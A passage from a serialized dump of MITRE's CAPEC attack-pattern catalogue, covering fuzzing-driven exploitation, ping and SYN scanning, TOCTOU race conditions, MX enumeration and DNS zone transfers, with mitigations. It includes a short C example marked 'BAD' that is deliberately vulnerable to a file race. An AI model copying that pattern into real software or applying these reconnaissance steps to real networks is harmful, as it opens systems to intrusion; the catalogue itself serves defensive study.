<xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Network sniffing. Using a network sniffer such as wireshark, the attacker observes communications into and out of the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor API execution. Using a tool such as ktrace, strace, APISpy, or another debugging tool, the attacker observes the system calls and API calls that are made by the target system, and the nature of their parameters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Observe inputs using web inspection tools (OWASP's WebScarab, Paros, TamperData, TamperIE, etc.)</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep16071 + Attack_Step_16071 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Generate fuzzed inputs] Given a fuzzing tool, a target input or protocol, and limits on time, complexity, and input variety, generate a list of inputs to try. Although fuzzing is random, it is not exhaustive. Parameters like length, composition, and how many variations to try are important to get the most cost-effective impact from the fuzzer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Boundary cases. Generate fuzz inputs that attack boundary cases of protocol fields, inputs, or other communications limits. Examples include 0xff and 0x00 for single-byte inputs. In binary situations, approach each bit of an individual field with on and off (e.g., 0x80).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attempt arguments to system calls or APIs. The variations include payloads that, if they were successful, could lead to a compromise on the system.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep16078 + Attack_Step_16078 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Observe the outcome] Observe the outputs to the inputs fed into the system by fuzzers and see if anything interesting happens. If failure occurs, determine why that happened. Figure out the underlying assumption that was invalidated by the input.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep16083 + Attack_Step_16083 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft exploit payloads] Put specially crafted input into the system that leverages the weakness identified through fuzzing and allows to achieve the goals of the attacker. Fuzzers often reveal ways to slip through the input validation filters and introduce unwanted data into the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify and embed shell code for the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Embed higher level attack commands in the payload. (e.g., SQL, PHP, server-side includes, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Induce denial of service by exploiting resource leaks or bad error handling.</xhtml:div> + + + + + + + + + + + + #indSkillSkill16093 + Skill_16093 + + + + + + + + + + + + + + There is a wide variety of fuzzing tools available. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Fuzzing tools.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A lot of invalid data is fed to the system. Data that cannot have been generated through a legitimate transaction/request. Data is coming into the system within a short period of time and potentially from the same IP.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence16102 + Consequence_16102 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16106 + Consequence_16106 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16110 + Consequence_16110 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16114 + Consequence_16114 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16120 + Consequence_16120 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Test to ensure that the software behaves as per specification and that there are no unintended side effects. Ensure that no assumptions about the validity of data are made.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use fuzz testing during the software QA process to uncover any surprises, uncover any assumptions or unexpected behavior.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A fuzz test reveals that when data length for a particular field exceeds certain length, the input validation filter fails and lets the user data in unfiltered. This provides an attacker with an injection vector to deliver the malicious payload into the system.</xhtml:div> + + + + + 74 + + + + + 20 + + + + + + + + + + + + #indContentHistoryContentHistory16138 + Content_History_16138 + + + + + + + + + + + + + + + + #indSubmissionSubmission16139 + Submission_16139 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16144 + Modification_16144 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Description Summary, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification16150 + Modification_16150 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification16156 + Modification_16156 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-280 + DEPRECATED: SOAP Parameter Tampering + + + + + + + + + 280 + + + + + DEPRECATED: SOAP Parameter Tampering + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as its contents have been included in CAPEC-279 : SOAP Manipulation. Please refer to this other pattern going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory16167 + Content_History_16167 + + + + + + + + + + + + + + + + #indSubmissionSubmission16168 + Submission_16168 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16173 + Modification_16173 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description Summary, References, Related_Attack_Patterns, Resources_Required, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName16179 + Previous_Entry_Name_16179 + + + + + + + + + 2018-07-31 + + + + + SOAP Parameter Tampering + + + + + + + + + + + + #CAPEC-285 + ICMP Echo Request Ping + + + + + + + + + 285 + + + + + ICMP Echo Request Ping + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends out an ICMP Type 8 Echo Request, commonly known as a 'Ping', in order to determine if a target system is responsive. If the request is not blocked by a firewall or ACL, the target host will respond with an ICMP Type 0 Echo Reply datagram. This type of exchange is usually referred to as a 'Ping' due to the Ping utility present in almost all operating systems. Ping, as commonly implemented, allows a user to test for alive hosts, measure round-trip time, and measure the percentage of packet loss.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Performing this operation for a range of hosts on the network is known as a 'Ping Sweep'. While the Ping utility is useful for small-scale host discovery, it was not designed for rapid or efficient host discovery over large network blocks. Other scanning utilities have been created that make ICMP ping sweeps easier to perform. Most networks filter ingress ICMP Type 8 messages for security reasons. Various other methods of performing ping sweeps have developed as a result. It is important to recognize the key security goal of the adversary is to discover if an IP address is alive, or has a responsive host. To this end, virtually any type of ICMP message, as defined by RFC 792 is useful. An adversary can cycle through various types of ICMP messages to determine if holes exist in the firewall configuration. When ICMP ping sweeps fail to discover hosts, other protocols can be used for the same purpose, such as TCP SYN or ACK segments, UDP datagrams sent to closed ports, etc.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern16190 + Related_Attack_Pattern_16190 + + + + + + + + + + + + + + 292 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to send an ICMP type 8 query (Echo Request) to a remote target and receive an ICMP type 0 message (ICMP Echo Reply) in response. Any firewalls or access control lists between the sender and receiver must allow ICMP Type 8 and ICMP Type 0 messages in order for a ping operation to succeed.</xhtml:div> + + + + + + + + + + + + #indSkillSkill16198 + Skill_16198 + + + + + + + + + + + + + + The adversary needs to know certain linux commands for this type of attack. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Scanners or utilities that provide the ability to send custom ICMP queries.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence16204 + Consequence_16204 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful attack of this kind can identify open ports and available services on a system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Consider configuring firewall rules to block ICMP Echo requests and prevent replies. If not practical, monitor and consider action when a system has fast and a repeated pattern of requests that move incrementally through port numbers.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indReferenceReference16217 + Reference_16217 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pp. 44-51 + + + + + + + + + + + + #indReferenceReference16218 + Reference_16218 + + + + + + + + + REF-123 + + + + + + + + + + + + #indReferenceReference16219 + Reference_16219 + + + + + + + + + REF-124 + + + + + + + + + + + + #indReferenceReference16220 + Reference_16220 + + + + + + + + + REF-125 + + + + + + + + + + + + #indReferenceReference16221 + Reference_16221 + + + + + + + + + REF-34 + + + + + Section 3.5.2 Ping Scan (-SP), pg. 58 + + + + + + + + + + + + #indContentHistoryContentHistory16223 + Content_History_16223 + + + + + + + + + + + + + + + + #indSubmissionSubmission16224 + Submission_16224 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16229 + Modification_16229 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification16235 + Modification_16235 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attacker_Skills_or_Knowledge_Required, Description, Description Summary, Related_Weaknesses, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification16241 + Modification_16241 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification16247 + Modification_16247 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-287 + TCP SYN Scan + + + + + + + + + 287 + + + + + TCP SYN Scan + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses a SYN scan to determine the status of ports on the remote target. SYN scanning is the most common type of port scanning that is used because of its many advantages and few drawbacks. As a result, novice attackers tend to overly rely on the SYN scan while performing system reconnaissance. As a scanning method, the primary advantages of SYN scanning are its universality and speed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;RFC 793 defines the required behavior of any TCP/IP device in that an incoming connection request begins with a SYN packet, which in turn must be followed by a SYN/ACK packet from the receiving service. For this reason, like TCP Connect scanning, SYN scanning works against any TCP stack. Unlike TCP Connect scanning, it is possible to scan thousands of ports per second using this method. This type of scanning is usually referred to as 'half-open' scanning because it does not complete the three-way handshake. The scanning rate is extremely fast because no time is wasted completing the handshake or tearing down the connection. This technique allows an attacker to scan through stateful firewalls due to the common configuration that TCP SYN segments for a new connection will be allowed for almost any port. TCP SYN scanning can also immediately detect 3 of the 4 important types of port status: open, closed, and filtered.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern16262 + Related_Attack_Pattern_16262 + + + + + + + + + + + + + + 300 + + + + + + + + + + + + #indAttackStepAttackStep16265 + Attack_Step_16265 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends SYN packets to ports they want to scan and checks the response without completing the TCP handshake.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep16270 + Attack_Step_16270 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses the response from the target to determine the port's state. The adversary can determine the state of a port based on the following responses. When a SYN is sent to an open port and unfiltered port, a SYN/ACK will be generated. When a SYN packet is sent to a closed port a RST is generated, indicating the port is closed. When SYN scanning to a particular port generates no response, or when the request triggers ICMP Type 3 unreachable errors, the port is filtered.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This scan type is not possible with some operating systems (Windows XP SP 2). On Linux and Unix systems it requires root privileges to use raw sockets.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to send TCP SYN segments to a host during network reconnaissance via the use of a network mapper or scanner, or via raw socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence16283 + Consequence_16283 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful attack of this kind can identify open ports and available services on a system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence16288 + Consequence_16288 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference16300 + Reference_16300 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference16301 + Reference_16301 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference16303 + Reference_16303 + + + + + + + + + REF-34 + + + + + Section 5.32 TCP SYN (Stealth) Scan, pg. 100 + + + + + + + + + + + + #indReferenceReference16304 + Reference_16304 + + + + + + + + + REF-130 + + + + + + + + + + + + #indContentHistoryContentHistory16306 + Content_History_16306 + + + + + + + + + + + + + + + + #indSubmissionSubmission16307 + Submission_16307 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16312 + Modification_16312 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Description, Description Summary, References, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification16318 + Modification_16318 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indModificationModification16324 + Modification_16324 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-288 + DEPRECATED: ICMP Echo Request Ping + + + + + + + + + 288 + + + + + DEPRECATED: ICMP Echo Request Ping + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-285". Please refer to this other CAPEC going forward.</xhtml:div> + + + + + + + + + + + + + + + + + #indContentHistoryContentHistory16336 + Content_History_16336 + + + + + + + + + + + + + + + + #indSubmissionSubmission16337 + Submission_16337 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16342 + Modification_16342 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, References, Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-289 + DEPRECATED: Infrastructure-based footprinting + + + + + + + + + 289 + + + + + DEPRECATED: Infrastructure-based footprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it was determined to be an unnecessary layer of abstraction. Please refer to the meta level pattern CAPEC-169 : going forward, or to any of its children patterns.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory16354 + Content_History_16354 + + + + + + + + + + + + + + + + #indSubmissionSubmission16355 + Submission_16355 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16360 + Modification_16360 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification16366 + Modification_16366 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, References, Resources_Required, Target_Attack_Surface, Target_Attack_Surface_Localities, Target_Attack_Surface_Types, Targeted_OSI_Layers, Typical_Severity + + + + + + + + + + + + #CAPEC-29 + Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions + + + + + + + + + 29 + + + + + Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern16382 + Related_Attack_Pattern_16382 + + + + + + + + + + + + + + 26 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep16387 + Attack_Step_16387 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary explores to gauge what level of access they have.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep16392 + Attack_Step_16392 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary confirms access to a resource on the target host. The adversary confirms ability to modify the targeted resource.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep16397 + Attack_Step_16397 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary decides to leverage the race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary can replace the resource and cause an escalation of privilege.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A resource is access/modified concurrently by multiple processes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary is able to modify resource.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A race condition exists while accessing a resource.</xhtml:div> + + + + + + + + + + + + #indSkillSkill16409 + Skill_16409 + + + + + + + + + + + + + + This attack can get sophisticated since the attack has to occur within a short interval of time. + + + + + + + + + + + + #indConsequenceConsequence16412 + Consequence_16412 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16416 + Consequence_16416 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16422 + Consequence_16422 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16428 + Consequence_16428 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16432 + Consequence_16432 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use safe libraries to access resources such as files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Be aware that improper use of access function calls such as chown(), tempfile(), chmod(), etc. can cause a race condition.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use synchronization to control the flow of execution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use static analysis tools to find race conditions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Pay attention to concurrency problems related to the access of resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client. See also: CVE-2007-1057</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an adversary can replace the file referenced by the name.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="bad"&gt;include &amp;lt;sys/types.h&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;include &amp;lt;fcntl.h&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;include &amp;lt;unistd.h&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;define FILE "/tmp/myfile"&lt;xhtml:br&gt;&lt;/xhtml:br&gt;define UID 100&lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;void test(char *str)&lt;xhtml:br&gt;&lt;/xhtml:br&gt;{&lt;xhtml:div style="margin-left:1em;"&gt;int fd;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;fd = creat(FILE, 0644);&lt;xhtml:br&gt;&lt;/xhtml:br&gt;if(fd == -1)&lt;xhtml:div style="margin-left:1em;"&gt;return;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;chown(FILE, UID, -1); /* BAD */&lt;xhtml:br&gt;&lt;/xhtml:br&gt;close(fd);&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;}&lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;int main(int argc, char **argv)&lt;xhtml:br&gt;&lt;/xhtml:br&gt;{&lt;xhtml:div style="margin-left:1em;"&gt;char *userstr;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;if(argc &amp;gt; 1) {&lt;xhtml:div style="margin-left:1em;"&gt;userstr = argv[1];&lt;xhtml:br&gt;&lt;/xhtml:br&gt;test(userstr);&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;}&lt;xhtml:br&gt;&lt;/xhtml:br&gt;return 0;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;}&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;[REF-107]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 367 + + + + + 368 + + + + + 366 + + + + + 370 + + + + + 362 + + + + + 662 + + + + + 691 + + + + + 663 + + + + + 665 + + + + + + + + + + + + #indReferenceReference16472 + Reference_16472 + + + + + + + + + REF-131 + + + + + + + + + + + + #indReferenceReference16473 + Reference_16473 + + + + + + + + + REF-107 + + + + + Test Case ID 1598 + + + + + + + + + + + + #indContentHistoryContentHistory16475 + Content_History_16475 + + + + + + + + + + + + + + + + #indSubmissionSubmission16476 + Submission_16476 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16481 + Modification_16481 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification16487 + Modification_16487 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Attack_Prerequisites, Description Summary, Examples-Instances + + + + + + + + + + + + #indModificationModification16493 + Modification_16493 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification16499 + Modification_16499 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification16505 + Modification_16505 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification16511 + Modification_16511 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-290 + Enumerate Mail Exchange (MX) Records + + + + + + + + + 290 + + + + + Enumerate Mail Exchange (MX) Records + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary enumerates the MX records for a given via a DNS query. This type of information gathering returns the names of mail servers on the network. Mail servers are often not exposed to the Internet but are located within the DMZ of a network protected by a firewall. A side effect of this configuration is that enumerating the MX records for an organization my reveal the IP address of the firewall or possibly other internal systems. Attackers often resort to MX record enumeration when a DNS Zone Transfer is not possible.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern16524 + Related_Attack_Pattern_16524 + + + + + + + + + + + + + + 309 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires access to a DNS server that will return the MX records for a network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A command-line utility or other application capable of sending requests to the DNS server is necessary.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence16533 + Consequence_16533 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16537 + Consequence_16537 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference16549 + Reference_16549 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pp. 38 + + + + + + + + + + + + #indContentHistoryContentHistory16551 + Content_History_16551 + + + + + + + + + + + + + + + + #indSubmissionSubmission16552 + Submission_16552 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16557 + Modification_16557 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description Summary, Related_Weaknesses + + + + + + + + + + + + #CAPEC-291 + DNS Zone Transfers + + + + + + + + + 291 + + + + + DNS Zone Transfers + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits a DNS misconfiguration that permits a ZONE transfer. Some external DNS servers will return a list of IP address and valid hostnames. Under certain conditions, it may even be possible to obtain Zone data about the organization's internal network. When successful the attacker learns valuable information about the topology of the target organization, including information about particular servers, their role within the IT structure, and possibly information about the operating systems running upon the network. This is configuration dependent behavior so it may also be required to search out multiple DNS servers while attempting to find one with ZONE transfers allowed.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern16569 + Related_Attack_Pattern_16569 + + + + + + + + + + + + + + 309 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to a DNS server that allows Zone transfers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A client application capable of interacting with the DNS server or a command-line utility or web application that automates DNS interactions.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence16578 + Consequence_16578 + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference16587 + Reference_16587 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pp. 34 + + + + + + + + + + + + #indContentHistoryContentHistory16589 + Content_History_16589 + + + + + + + + + + + + + + + + #indSubmissionSubmission16590 + Submission_16590 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16595 + Modification_16595 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-292 + Host Discovery + + + + + + + + + 292 + + + + + Host Discovery + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends a probe to an IP address to determine if the host is alive. Host discovery is one of the earliest phases of network reconnaissance. The adversary usually starts with a range of IP addresses belonging to a target network and uses various methods to determine if a host is present at that IP address. Host discovery is usually referred to as 'Ping' scanning using a sonar analogy. The goal is to send a packet through to the IP address and solicit a response from the host. As such, a 'ping' can be 